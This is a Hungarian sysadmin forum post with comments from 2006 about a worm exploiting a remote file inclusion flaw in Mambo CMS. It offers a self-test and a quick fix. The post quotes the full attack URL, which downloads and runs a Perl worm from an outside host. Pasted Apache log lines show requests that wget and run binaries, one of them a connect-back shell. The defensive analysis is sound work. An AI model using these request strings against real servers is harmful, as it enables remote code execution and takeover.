Mambo sebezhetőség

Cracker, Black Hat

Az elmúlt napokban egy új szőnyegbombázó tűnt fel, ami ügyesen használja ki a Mambo egy biztonsági hibáját. A Mambot futtató szerverünk maga is könnyen áldozattá, mi több, szőnyegbombázóvá válhat.Január 13-án pénteken a késő esti órákban kezdődött a nemzetközi támadássorozat: a szerverünk 32 óra leforgása alatt 287 helyről kapott kifejezetten a Mambot támadó http-kérést. A kérés formája a következő:

http://támadott.gép/mambo_könyvtár/index.php?

_REQUEST[option]=com_content&_REQUEST[Itemid]=1&

GLOBALS=&mosConfig_absolute_path=

http://www.fullcrew.net/cmd/tool25.dat?&

cmd=cd%20/tmp/;lwp-download%20

http://shikoe.net/mambo2.txt;perl%20mambo2.txt;

rm%20-rf%20mambo2.txt*

(A backslash --- "vissza-per" --- karaktereket nem kell kiírni, csak az olvashatóságot növelik.)

A lényeg a mosConfig_absolute_path változó beállításánál van, ugyanis a Mambo nagyon sok fájlban használja a következő kódsort:

require_once($GLOBALS['mosConfig_absolute_path'] . TOVÁBBI_ELÉRÉSI_ÚT);

(A require_once helyett require, include, include_once is előfordul.)

A Mambo fejlesztői oldalán november 17-én már feltűnt egy kapcsolódó javítás, ami azonban ezt a támadást --- úgy tűnik --- nem védi ki. Egyelőre úgy tűnik, nincs hivatalos javítás a fejlesztői oldalon, viszont a trükköző Perl program rohamosan terjed.

A következő módon tesztelhetjük, hogy a Mambo szerverünk potenciális áldozat-e (a Perl script a Google-ról szedi a Mambot futtató áldozatai webcímét):

Készítsünk egy PHP scriptet x.php néven a webszerverünk fő webkönyvtárába ilyen tartalommal:


$f=fopen("/tmp/teszt.txt","w");

fwrite($f,"védtelen");

fclose($f)

?>

Ha ezután a következő webkérés létrehoz a szerver /tmp könyvtárában egy teszt.txt fájlt "védtelen" tartalommal, akkor a Mambo szerverünk valóban védtelen:

http://a.szerverünk.címe/mambo_könyvtár/index.php?

_REQUEST[option]=com_content&_REQUEST[Itemid]=1&

GLOBALS=&mosConfig_absolute_path=

http://a.szerverünk.címe/x.php?

(Ismét nem kell beírni a backslash-eket.)

Ha nincs szerencsénk, a fertőzött Mambo szervert futtató gépek valamelyike minket is megtalál, lefuttatja a http://shikoe.net/mambo1.txt vagy http://shikoe.net/mambo2.txt címen található Perl scriptet, ami "kotfare" néven kezdi folyamatosan felemészteni a szerverünk erőforrásait, folyamatosan keresve további áldozatok után. A szerverünk lelassul, a sávszélességünk bedugul, egy idő után pedig a webszerver processz is feladja, ha egyszerre túl sok Perl scriptet kell indítania. (Ennek a pontos forgatókönyvére még nem jöttem rá, de remélem, nem is lesz rá szükség.)

Az általam javasolt gyorsjavítás a következő:

A Mambo szerverünk index.php fájljába írjuk be a következőket (pl. a require_once( 'configuration.php' ); sor után):

$a=$GLOBALS[mosConfig_absolute_path];

$x=strpos($a,"http");

if (($x===0) || ($x>0)) die();

Egy másik lehetőség, hogy root-ként a /tmp könyvtárban létrehozzuk a mambo1.txt és mambo2.txt fájlokat, üres tartalommal, majd chmod 000 mambo[1-2].txt-vel megakadályozzuk, hogy a kérdéses Perl script a szerverünkre felíródjon. Persze, ez a megoldás nem annyira elegáns, és csak átmeneti jellegű.

Az elmúlt 60 órában további 400 támadást regisztráltunk, főként európai szerverekről, így Magyarországról is.

( kovzol | 2006. 01. 18., sze – 21:01 )

Sajnos, a "visszaper" karakterek lemaradtak (a sorok végén lettek volna). Hasonlóan lemaradt a PHP kód elejéről a "kisebb jel" "kérdőjel" php fejléc.

( bzz | 2006. 01. 18., sze – 21:27 )

Ha jól értelmezem a dolgot, akkor ehhez a sebezhetőséghez a szerveren a register_globals-nak be kell kapcsolva lennie, különben nem tudod "felülirni" a változókat. Szerintem első körben ezt kellene kikapcsolni, bár sok helyen nem lehetséges még(régi kódok miatt).

Nem biztos, hogy ez a hiba, nem próbáltam ki.

Sajnos valóban sok helyen még register_globals on módban fut a php. Ezen felül persze rengeteg más gyengesége lehet egy php/webserver konfigurációnak.

Egyébként pedig van mód a működést befolyásolni többféleképpen is(.htaccess file-lal, ez kicsit megint biztonsági veszélyt jelent; vagy az extract(), foreach(), unset() és barátai segítségével is elérhető egy register_globals off vagy on állapot)

Megnéztem a linket, utána olvastam a forráskódban, szerintem nincsen hiba (és még mindig nincsen mambo.txt-nk :))

Elvileg minden php kód futtatása csak az index.php-n keresztül történhet. A globals.php beinclude-olása után a configurations.php-t include-olja be, ahol elvileg felül kellene irnia a $GLOBALS['mosConfig_absolute_path'] változót.

Tehát nem értem, mert ha a szőnyegbombázás létezik, akkor a hibát is ki lehet használni...

Megvan, ez inkabb php hibának tűnik:

$GLOBALS["GLOBALS"] = "";

$GLOBALS["almafa"] = "kortefa";

$almafa = "barackfa";

echo $GLOBALS["almafa"];

Azt irja ki, hogy kortefa, mig az első sor nélkül azt, hogy barackfa. Tehát a hiba igazából ott van, hogy hagyja kinullázni a GLOBALS tömböt.

A barackfa lenne a biztonságos megoldás, a kortefa-val törhetőek ténylegesen a mambok.

A PHP dokumentációjában nem sok információt találtam arról, hogy a GLOBALS felülirása esetén miért vannak ilyen gondok...

( Panther v | 2006. 01. 19., cs – 15:12 )

Nekem 1 hónapja vannak ilyenek az apache logban:

202.83.220.135 - - [18/Dec/2005:13:36:44 +0100] "GET /index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]
=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=
http://81.174.26.111/cmd.gif?&cmd=cd%20/tmp;wget%20216.15.209.12/
listen;chmod%20744%20listen;./listen;echo%20YYY;echo| HTTP/1.1" 404 282

Régebben is próbálkoztak, csak akkor még nem ezzel a szkripttel:

web.spin.it - - [25/Nov/2005:18:44:38 +0100] "GET /index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]
=com_

content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=
http://195.120.109.25/cmd.gif?&cmd=cd%20/tmp;wget%20217.160.255.44

/cback;chmod%20744%20cback;./cback%20194.112.220.37%208080;echo%20YYY;
echo| HTTP/1.1" 404 216 "-" "Mozilla/4.0 (compatible; M

SIE 6.0; Windows NT 5.1;)"